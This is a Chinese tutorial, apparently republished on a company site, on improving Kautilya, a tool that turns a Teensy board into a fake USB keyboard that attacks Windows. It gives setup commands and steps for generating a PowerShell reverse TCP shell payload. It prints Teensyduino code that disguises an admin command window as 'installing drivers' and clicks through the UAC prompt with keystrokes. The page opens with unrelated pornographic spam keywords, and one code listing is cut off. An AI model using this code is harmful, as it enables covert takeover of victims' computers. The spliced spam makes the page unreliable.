日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析

0×00 前言

HID 即 Human Interface Devices 人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤。

最近玩燒鵝的時(shí)候翻了不少資料, HID Hacking 的文章中提到的相關(guān) payload 工具主要是 S.E.T 和 Kautilya 兩個(gè)。摸索一番之后對 Kautilya 作了一些小的改進(jìn),F(xiàn)ork 后的代碼在 https://github.com/harnnless/Kautilya 。先上演示:

修改過的 Kautilya 主要針對 Windows Payload 有以下修改:

1 適應(yīng)中文系統(tǒng)。 可以選擇自動打開大寫鎖定鍵,同時(shí)生成的代碼中要鍵入的內(nèi)容已自動反轉(zhuǎn)大小寫。所以實(shí)際輸入的大小寫仍與預(yù)期一致??催^上面的演示可以注意到 Win10 默認(rèn)中文五筆輸入沒有影響。

2 提高穩(wěn)定性及利用速度。修改了幾個(gè)關(guān)鍵函數(shù),刪除不必要的延時(shí),同時(shí)在打開命令行窗口時(shí)更有效容錯(cuò)。兼顧了速度和穩(wěn)定性。演示視頻中第一遍啟動管理員權(quán)限命令行窗口失敗,腳本能檢測到并再次啟動命令行窗口,而不是盲目地進(jìn)行后續(xù) Payload 輸入。(注意:視頻中 UAC 提示窗口沒有錄到)

0×01 HID攻擊原理簡述

HID 即 Human Interface Devices人機(jī)接口設(shè)備。HID攻擊意味著模擬 HID 設(shè)備與主機(jī)通訊的攻擊行為。最常見的攻擊形式是模擬成USB HID設(shè)備如USB鍵盤。

常見的USB HID 攻擊硬件有 Teensy(及兼容Teensy的國產(chǎn)燒鵝)、Arduino Leonardo、USB Rubber Ducky 等。都是通過集成的USB控制芯片模擬成USB鍵盤\鼠標(biāo),并按照事先編程好的順序發(fā)送按鍵,達(dá)到攻擊的目的。如下圖是 USB Rubber Ducky

本文的代碼適用于 Teensy 2 ++ 及國產(chǎn)燒鵝,使用了 AT90USB1286 芯片,可以使用 Teensyduino 編寫代碼。

0×02 軟硬件準(zhǔn)備

硬件

Radiowar 出品的燒鵝1.0\1.5\2.0任意版本一個(gè);或者 Teensy2++ 一個(gè)。如下圖是燒鵝2.0,沒有安裝外殼。(視頻中使用的是金士頓DT101 U盤外殼)

軟件

演示用的燒鵝支持使用 Teensyduino 軟件編寫代碼并燒錄到芯片中。Teensyduino 依賴于 arduino。由于演示的是 Windows 下的攻擊,以下軟件安裝安裝配置等都以 Windows 平臺為例。

Arduino & Teensyduino

1 首先安裝 Arduino。從官方這個(gè)頁面 下載 1.0.6 版,根據(jù)操作系統(tǒng)架構(gòu)下載32位或64位。可以直接下載 Zip 版解壓到D盤。

2 下載 安裝 Teensyduino 1.27 版。安裝過程中提示選擇正確的 arduino 目錄之后才能繼續(xù)。如果僅需要測試本文的 HID 攻擊,可以選擇None不安裝任何其它組件。

Kautilya

本文的主角 Kautilya 是專用于生成 Teensy USB HID 攻擊載荷的開源工具。由 Nikhil SamratAshok Mittal 于2011年底發(fā)布在code.google.com,后來遷移至 Github。

1 Kautilya 使用 Ruby 編寫,因此需要先安裝 Ruby 運(yùn)行環(huán)境。到這里下載安裝 1.9.3 版(由于對 Win32Console 的依賴,不要安裝2.0或以上版本)。

2 下載我修改過的 Kautilya zip 包,解壓到D盤。

3 找到并打開程序中的 Start Command Prompt with Ruby, 進(jìn)入 Kautilya 目錄安裝 Ruby 依賴:

 
 
 
 
  1. cd /d d:\Kautilya  
  2. set httphttp_proxy=http://127.0.0.1:1080  // 可能需要使用代理翻墻才能正確安裝gems哦  
  3. gem install highline -v 1.6.21  
  4. gem install artii -v 2.0.4  
  5. gem install colored -v 1.2  
  6. gem install win32console -v 1.3.2   // 僅 Windows 下需要  
  7. ruby kautilya.rb   // 運(yùn)行 

0×03 生成與測試

用 Kautilya 生成攻擊載荷

1 接下來演示的攻擊載荷是 Kautilya 作者發(fā)布的 Powershell 反向TCP shell。Freebuf 曾發(fā)過翻譯后的文章,請參考一周PowerShell腳本Day 1:TCP交互式PowerShell腳本。要測試請先按這篇文章在 Kali 中用 nc -lvp 端口號 監(jiān)聽,或者用 Powercat 監(jiān)聽。

2 參照視頻中的步驟,打開 Start Command Prompt with Ruby 運(yùn)行 Kautilya ,然后選擇 1. Payload for Windows -> 2. CapsLock On -> 2. Execute -> 7. Reverse TCP Shell

3 提示輸入 IP 地址時(shí)輸入 Kali 的IP或運(yùn)行 Powercat 的IP。我在視頻中是用VirtualBox運(yùn)行了一個(gè)Kali虛擬機(jī),網(wǎng)絡(luò)設(shè)置為 Host Only,IP為192.168.56.101。

4 提示輸入端口,與監(jiān)聽的端口保持一致

5 選擇 2,硬件是 Teensy2。然后在 output 下生成了 reverse_tcp.ino。

編譯并寫入

1 啟動之前安裝的 arduino,選擇 File -> Open … 打開 Kautilya 下 output 目錄中的 reverse_tcp.ino。程序會提示需要創(chuàng)建一個(gè)同名的文件夾,點(diǎn)OK

2 按工具欄的第一個(gè)圖標(biāo)Verify,校驗(yàn)并編譯。如果沒有錯(cuò)誤,會彈出TeensyLoader的小窗口

3 按住燒鵝電路板上的按鈕不放再插入U(xiǎn)SB口,然后松開按鈕(這樣可以避免執(zhí)行已寫入的程序),剛編譯的程序就自動寫入,并且也自動重啟開始執(zhí)行了

4 觀察Payload 執(zhí)行是否成功

0×04 Payload 代碼詳細(xì)分析

Payload 的主體代碼經(jīng)過細(xì)微修改,精簡如下:

上面值得注意的有兩個(gè)地方:

1 wait_for_drivers 函數(shù)。作用是 Teensy 插入電腦之后,能主動判斷 HID 能正常發(fā)送按鍵,然后再進(jìn)行后續(xù)操作??梢苑乐乖诓煌碾娔X上安裝驅(qū)動的耗時(shí)會相差較大,尤其某些時(shí)候系統(tǒng)會通過 Windows Update 查找驅(qū)動,單純添加一個(gè)較長的延時(shí)時(shí)間既不可靠也容易被捉…

2 while(!cmd_admin())。 cmd_admin 函數(shù)能判斷是否打開了命令行窗口,并確實(shí)能輸入正確的字符。也就是說能確保后面的 payload 能正確輸入。

以上兩個(gè)功能函數(shù)是如何實(shí)現(xiàn)的呢?接著看一下后面自定義函數(shù)代碼節(jié)選。

關(guān)鍵一,判斷LED狀態(tài)

 
 
 
 
  1. int ledkeys(void) {return int(keyboard_leds);}    // 返回指定的LED狀態(tài)  
  2. bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;}    //大寫鎖定是否打開  
  3. void wait_for_drivers(int sleep){  
  4.   bool CapsLockTrap = is_caps_on();  
  5.   // 直到大寫鎖定發(fā)生改變,才確認(rèn)驅(qū)動已加載完畢,可以執(zhí)行 payload 輸入了  
  6.   while(CapsLockTrap == is_caps_on()){      
  7.     Keyboard.set_key1(KEY_CAPS_LOCK);  
  8.     Keyboard.send_now();  
  9.     unpresskey();  
  10.     delay(sleep);  
  11.   }  

上面代碼中最關(guān)鍵的是前兩行,is_caps_on實(shí)現(xiàn)了判斷當(dāng)前大寫鎖定狀態(tài)的功能。注意,這里的功能實(shí)現(xiàn)在Teensy2下必須有頂部的 #include,并且最好在 arduino IDE 1.0.x 下編譯。

然后 wait_for_drivers 函數(shù)通過檢查發(fā)送 CAPSLOCK 鍵之后大寫鎖定狀態(tài)有沒有變化,來判斷是否設(shè)備的驅(qū)動已加載完畢。如果按鍵后大寫鎖定燈沒改變狀態(tài),那肯定是鍵盤驅(qū)動還沒有加載完成,繼續(xù)延時(shí)等待。

也可以檢測 NumLock 或 ScrollLock,keyboard_leds 的值不一樣,分別是1和4。具體可以看 Offensive Security 的公開代碼 https://github.com/offensive-security/hid-backdoor-peensy 。

關(guān)鍵二,判斷CMD窗口打開及輸入是否正確

 
 
 
 
  1. // 這個(gè)函數(shù)做了較大修改,有興趣可以生成一個(gè)CapsLock Off 的腳本對照看一下  
  2. // 修改后的函數(shù)能兼容速度不一的電腦,不需要固定成最大的延時(shí)。慢的系統(tǒng)下會重試1到多次之后打開命令行窗口  
  3. bool cmd_admin(int reps, int millisecs){    // 打開管理員權(quán)限命令行窗口  
  4.   make_sure_capslock_is_on();    // 確認(rèn)大寫鎖定打開  
  5.   unsigned int i = 0;  
  6.   do{  
  7.     Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);    // 按 Win 鍵  
  8.     Keyboard.send_now();  
  9.     unpresskey();  
  10.     delay(400 + i * millisecs);  
  11.     // 輸入 CMD 命令,參數(shù)用于盡量隱藏窗口  
  12.     Keyboard.print("CMD /t:01 /k \"@ECHO OFF && MODE CON:cols=15 lines=1 && TITLE iNSTALLING dRIVERS\"");  
  13.     delay(800 + i * millisecs);  
  14.     Keyboard.set_modifier(MODIFIERKEY_CTRL);    // Ctrl+Shift+Enter 用管理員權(quán)限打開  
  15.     Keyboard.send_now();  
  16.     Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);  
  17.     Keyboard.send_now();  
  18.     Keyboard.set_key1(KEY_ENTER);  
  19.     Keyboard.send_now();  
  20.     unpresskey();  
  21.     delay(1000 + i * millisecs);  
  22.     send_left_enter();    // 按左方向鍵,再回車,確認(rèn) UAC 提示框  
  23.     delay(800 + i * millisecs);  
  24.     create_click_capslock_win();    // 輸入并運(yùn)行一個(gè)更改大寫狀態(tài)的VBS  
  25.     if (check_for_capslock_success_teensy(i+3,millisecs)){ return true;}    // 如果大寫狀態(tài)未改變,再試  
  26.     i++;  
  27.   }  
  28.   while (i 

判斷CMD窗口打開及輸入是否正確的代碼同樣用到了檢測大寫鎖定狀態(tài)。實(shí)現(xiàn)方法是輸入并執(zhí)行一個(gè)簡單VBS腳本發(fā)送CAPSLOCK鍵,然后判斷執(zhí)行后大寫鎖定狀態(tài)。如果狀態(tài)改變就證明 CMD 窗口正確打開,并且能正確輸入 payload 了。create_click_capslock_win() 寫入并執(zhí)行 VBS,check_for_capslock_success_teensy(reps,millisecs) 進(jìn)行檢測。

上面給出的代碼沒有選擇 cmd 函數(shù),而是 cmd_admin 函數(shù),展示了使用 Ctrl+Shift+Enter 加 左方向鍵再Enter 在 UAC 啟用環(huán)境下直接打開管理員權(quán)限命令行窗口的技巧。 Kautilya 多數(shù) Windows Payload 都會用cmd_admin。如果目標(biāo)是 XP 并且用戶是管理員則可以改用 cmd,不需要 Ctrl+Shift+Enter 等。

0×05 小提示

與直覺不同,鍵盤不是僅發(fā)送按鍵,而是有雙向通訊的。很早前的AT鍵盤規(guī)范確定了如CapsLock/NumLock等燈的狀態(tài)是由系統(tǒng)發(fā)送信息,鍵盤才開關(guān)燈的狀態(tài),與是否發(fā)送相關(guān)按鍵無關(guān)。

檢測 LED狀態(tài)用于HID攻擊的方法最早于2012年發(fā)表在 https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/ ,后來被整合進(jìn) S.E.T 及 Kautilya 中。

Offensive Security 的 Peensy 公開代碼 https://github.com/offensive-security/hid-backdoor-peensy 。其中還包含了直接讀取 Teensy 的SD卡文件的方法,檢測目標(biāo)系統(tǒng)的架構(gòu)以部署相同架構(gòu)的MSF Payload等。值得進(jìn)一步了解。

0×06 參考:

[1] http://www.labofapenetrationtester.com/search/label/Kautilya

[2] https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/


當(dāng)前名稱:TeensyHID攻擊工具Kautilya的改進(jìn)與穩(wěn)定利用分析
網(wǎng)頁鏈接:http://m.5511xx.com/article/dhopcoo.html